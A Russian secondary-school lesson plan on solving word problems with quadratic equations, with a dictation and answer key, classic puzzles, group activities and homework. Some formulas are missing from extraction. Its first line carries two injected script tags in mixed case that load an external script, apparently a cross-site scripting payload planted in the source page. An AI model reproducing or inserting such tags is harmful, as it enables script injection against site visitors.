<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
Тема
урока: «Решение текстовых задач
с помощью составления квадратного уравнения»
Цели урока:
Образовательные.
§ Совершенствовать навыки решения
задач;
Задачи урока:
§ Выработать умение применять
квадратные уравнения для решения алгебраических и геометрических задач;
продолжить формирование практических и теоретических умений и навыков по теме
“Квадратные уравнения”;
Развивающие.
§ способствовать умению
анализировать условие задач, развитию умения рассуждать, развитию
познавательного интереса, умению видеть связь между математикой и окружающей
жизнью;
§ формировать умения чётко и ясно
излагать свои мысли;
§ развивать эмоции учащихся через
создание на уроке ситуаций эмоциональных переживаний;
Воспитательные.
§ Воспитывать умение работать с
имеющейся информацией в необычной ситуации;
§ Воспитывать уважение к предмету,
умение видеть математические задачи в окружающем нас мире;
§ воспитывать
внимательность и культуру мышления, самостоятельность и взаимопомощь.
Тип урока: закрепление и расширение ранее полученных знаний.
Форма урока: практикум.
«Уравнение - это золотой
ключ, открывающий все математические сезамы».
С. Коваль
Ход урока:
1. Организационный момент.
Вступительное слово учителя (презентация).
Добрый день дорогие ребята! Я рада
приветствовать Вас на нашем уроке, и прошу всех вас улыбнуться друг другу и нашим гостям, мысленно пожелать успехов и себе
и товарищам. Я хочу немного подсластить наш урок и угостить вас конфетеми.
Разбейтесь на группы по цвету фантика.
Мне хочется начать наш урок со слов
французского философа Ж.Ж. Руссо (1712-1778гг): « Вы талантливые дети!
Когда-нибудь Вы сами приятно поразитесь, какие Вы умные, как много и хорошо
умеете, если будете постоянно работать над собой, ставить новые цели и
стремиться к их достижению…» Я желаю Вам уже сегодня убедиться в этих словах.
Тема сегодняшнего
урока: “Решение текстовых задач с помощью составления квадратного уравнения”.
Испокон века
Книга растит человека
Урок – это книга,
которую можно с интересом читать, перелистывая страницу за страницей,
обогащаясь знаниями, «расти» умом. Сегодня мы с вами продолжим читать главу
«Квадратные уравнения» − очень важную для изучения курса математики. Будем совершенствовать навыки решения
задач; Выработаем умение
применять квадратные уравнения для решения алгебраических и геометрических
задач; Покажем не только знания, но и свои умения, навыки по этой теме.
Слайд 2. Великий, немецкий ученый А. Эйнштейн
говорил о себе: “Мне приходится делить своё время между политикой и
уравнениями. Однако уравнения, по-моему, гораздо важнее, потому что политика
существует только до данного момента, а уравнения будут существовать вечно”.
Откройте пожалуйста тетради и запишите сегодняшнее число, классная
работа.
2.
Актуализация опорных теоретических и практических знаний
(слайды ).
- Что написано на доске? ах2 +
- bх + с = 0 (Квадратное уравнение)
- Всегда ли имеет корни
- квадратное уравнение? (Нет, не всегда)
- От чего зависит количество корней? (От
- дискриминанта)
- Сколько корней имеет квадратное
- уравнение, если D > 0?
- Сколько коней имеет квадратное
- уравнение если D = 0?
- Сколько корней имеет квадратное
- уравнение, если D < 0?
- Чему равно: 2 в квадрате?
- 3 в квадрате?
- 5 в квадрате?
- Угол в квадрате? ( в квадрате
- все углы прямые).
Итак, ребята, давайте
повторим основные понятия и формулы для решения квадратных уравнений. Я
предлагаю вам написать математический диктант по теме “квадратные уравнения”.
Математический
диктант. (Cлайды )Приложение №1
Ответы на вопросы
диктантов записываем на бланках ответов (приложение 3). Записывать только коротко ответы. У каждого
варианта будет по 6 вопросов.
Норма выставления
оценок:
|
Число верных ответов |
Оценка |
|
Всего в диктанте 6 вопросов | |
|
6 |
“5” |
|
5-4 |
“4” |
|
3 |
“3” |
|
менее 3 |
“2” |
1.1. Сформулируйте
определение квадратного уравнения.
2.1. Какое уравнение
называют неполным квадратным уравнением.
1.2. Запишите пример
неполного квадратного уравнения.
2.2. Запишите пример
квадратного уравнения.
1.3. Запишите, чему
равен второй коэффициент в уравнении: 2х2 + х – 3 = 0.
2.3. Запишите, чему
равен первый коэффициент в уравнении: -х2 + 4х – 7 = 0.
1.4. Запишите, чему
равны: a, b, c в уравнении: - 3х2 + 5х = 0.;
2.4. Запишите, чему
равны: a, b, c в уравнении: 5х2 - 8= 0.
1.5. Сколько корней
может иметь неполное квадратное вида ах2 + с = 0?
2.5. Сколько корней
может иметь неполное квадратное вида ах2 + bх = 0?
1.6. Сколько корней
имеет квадратное уравнение, если дискриминант положительный?
2.6. Сколько корней
имеет квадратное уравнение, если дискриминант отрицательный?
Давайте проверять ваши
работы. Обмениваемся своими бланками ответом с соседом по парте. И сравниваем
ваши ответы с ответами на доске (слайд 20). Против правильного ответа ставим
“+”, против ошибочного - “-”, если в ответе есть недочет, можно поставить “±”.
Выставляем отметки и возвращаем бланки обратно.
Правильные ответы( Слайд):
1. Квадратным
уравнением называется квадратное уравнение вида ах2 + bх + с =
0, где х – переменная, а, b, с – некоторые числа, причем а ? 0.
2.1. квадратное
уравнение ах2 + bх + с = 0, в котором хотя бы один из
коэффициентов b или c равен 0.
1.2. пример 5х2 -4х
= 0 или 4х2 – 9 = 0.
2.2. пример 14х2 –
5х – 1 = 0.
1.3. 1
2.3. – 1
1.4. а = - 3, b = 5, с
= 0.
2.4. а = 5, b = 0, с =
- 8.
1.5. два или не имеет
корней.
2.5. два.
1.6. два.
2.6. не имеет корней.
Учитель собирает
работы, проходя по классу, сразу по вариантам, чтобы облегчить работу.
Задание: приложение №2
Составьте квадратное уравнение, используя
следующие данные:
А) Многие, уходя из кабинета, не выключают свет. Да и дома порой зажигают
все лапы, когда в этом нет необходимости. Кто-то может сказать: мелочь! Между
тем сосчитайте, сколько за 10 часов расходует одна лампочка в 100 Вт. Ответ
переведите в кВт. Полученное число будет первым коэффициентом квадратного
уравнения. Ответ:
Вт =1кВт, а =1.
Б) А что такое капля воды из неплотно закрытого крана? За час теряется
0,6л, а за сутки – .. ? (14,4л воды). В данном числе сложите цифры. Полученное
число будет вторым коэффициентом. Ответ: 14.4л, 1+4+4 = 9,
в=9.
В) К обеду школа получает 35
кг хлеба, в
бачках для отходов остаётся
часть этого хлеба.
Труд скольких людей пропадает зря! Посчитайте сколько хлеба выбрасывается
ежедневно и удвойте это число. Полученное число будет третьим
коэффициентом.
Ответ:
,
, с=14.
Г) Все коэффициенты положительные числа. Составьте квадратное уравнение,
решите его. Ответ: у2+9у+14=0; D=25, у1,2=
; у1 = -7,у2 = -2.
3.
Изучение
нового материала( Слайд):
·
Учитель: Многие задачи алгебры, геометрии, физики приводят к
необходимости решения квадратных уравнений. Мы с вами должны научиться
проводить анализ задачи, вводить неизвестные величины, находить зависимость
между данными задачи и неизвестными величинами.
·
Задача №1. После
выпуска из школы ученики обменялись фотографиями на память. Сколько было
выпускников, если они обменялись 870 фотографиями?
Решение.
Сопровождающие вопросы:
1. О чём говорится в задаче?
2. Что известно в условии задачи?
3. Что нужно найти в задаче?
4. Каким способом можно решить задачу?
5. Что обозначим за переменную?
Пусть было х учеников, тогда они обменялись (х-1)
фотографиями, т.к. ученик сам с собой фотографией не обменивается. Так как
всего обменялись 870 фотографиями, то составим уравнение: x(x-1)=870
х=30 и -29
6. Что обозначили за x?
7. Все ли решения уравнения будут решением задачи? (-29 не
удовлетворяет смыслу задачи) Почему?
Итак, мы рассмотрели решение текстовой задачи
с помощью квадратного уравнения.
1. Задача
Бхаскары (знаменитый индийский математик XII века):
Решить задачу: «Обезьянок резвых стая,
Всласть поевши, развлекалась.
Их в квадрате часть восьмая,
На поляне забавлялась.
А двенадцать по лианам
Стали прыгать, повисая.
Сколько ж было обезьянок,
Ты скажи мне, в этой стае?»
Решение. x – число обезьян, тогда (х/8)2 + 12 = х, х2/64 − х + 12 = 0, х2 − 64х
+ 768 = 0.
D1 = 1024 − 768 = 256, х1 = 16, х2 = 48.
Ответ: 16 или 48.
4.Физкультминутка.
Коль писать мешает нос,
Значит, это сколиоз
Вас сгибает над тетрадкой,
Позвоночник не в порядке.
Мы ему сейчас поможем:
Руки за голову сложим,
Повороты влево – вправо,
И наклоны влево – вправо,
Ручки к солнцу потянулись,
Мы назад ещё прогнулись,
Повращаем мы плечами,
Чтоб они не подкачали.
Улыбнулись всем, кто рядом.
Вот! Уже другой порядок!
А теперь повыше нос:
Нам не страшен сколиоз.
Сядем ровно, ручки – в руки,
Продолжаем путь к науке.
5. Задание каждой группе: «Зигзаг» - восстановить
последовательность этапов алгоритм решения текстовой задачи
|
«Зигзаг» (Приложение №3) |
Правильный ответ |
|
1.Установить связь известных фактов с неизвестными 2.Записать ответ 3.Внимательно изучить условие задачи 4.Исключить корни уравнения, неудовлетворяющие смыслу задачи 5.Ввести переменную 6.Решить полученное уравнение 7.Вернуться к вопросу задачи, сделать необходимые вычисления (при необходимости) 8.Составить уравнение, исходя из смысла условия задачи 9.Выяснить, что известно в задаче Ответ: 391586472 |
1. Внимательно изучить условие задачи 2. Выяснить, что известно в задаче 3. Установить связь известных фактов с неизвестными 4. Ввести переменную 5. Составить уравнение, исходя из смысла условия задачи 6. Решить полученное уравнение 7. Исключить корни уравнения, неудовлетворяющие смыслу задачи 8. Вернуться к вопросу задачи, сделать необходимые вычисления (при необходимости) 9. Записать ответ |
·
Обсуждение, выявление ошибок, коррекционная
работа
·
Выдача каждой группе готового алгоритма
решения текстовой задачи
6.Решешие
задач приложение №4
Каждая группа получает задачу с решением, в котором есть
пропуски, которые необходимо заполнить (приложение №4):
|
1 группа Первое число больше другого на 10. Найдите эти числа, если их произведение равно 56. Уравнение: x(x+10)=56 Корни: -14; 4 |
2 группа Ширина прямоугольника на 3 см меньше его длины. Найдите ширину и длину прямоугольника, если их площадь равна 130 см2 Уравнение: x(x-3)=130 Корни: -10; 13 |
·
Стратегия
«Карусель» - по часовой стрелке в периодом в 3 минуты один ученик переходит в
соседнюю группу, чтобы объяснить решение свой задачи другим учащимся
·
После
«Карусели» у учащихся в тетради должно быть по 2 задачи
7.Работа с
оценочным листом (рефлексия)
·
Выполнение индивидуального задания
(приложение №1: оценочный лист)
·
Работа с критериями успешности
·
Написание комментария по итогам урока,
изложение оставшихся вопросов по теме
·
Что мы сегодня
повторили на уроке?
·
А что нового мы с вами
сегодня узнали на уроке?
·
Кто доволен своей
работой сегодня?
·
Какой этап урока вам
понравился больше всего?
Хочется отметить, что
никто из Вас не отнесся к работе равнодушно, и если у кого-то не всё
получилось, не огорчайтесь: “Дорогу осилит идущий ”.
8.Подведение итогов
урока
9.Постановка д/з,
инструктаж
Задача 1. Сумма цифр двузначного числа равна 8. Если
цифры этого числа переставить, то получится число, меньшее искомого на 18. Чему
равно искомое число? Ответ: 53
Задача 2. Составьте
уравнение к задаче, приняв за х меньшее из чисел: Одно из
чисел на 12 больше другого, а их произведение равно 315. Найдите эти числа.
Задача 3. Один из катетов прямоугольного
треугольника на 6 см меньше гипотенузы, а другой на 3 см больше первого.
Найдите гипотенузу, если площадь треугольника равна 54 см2.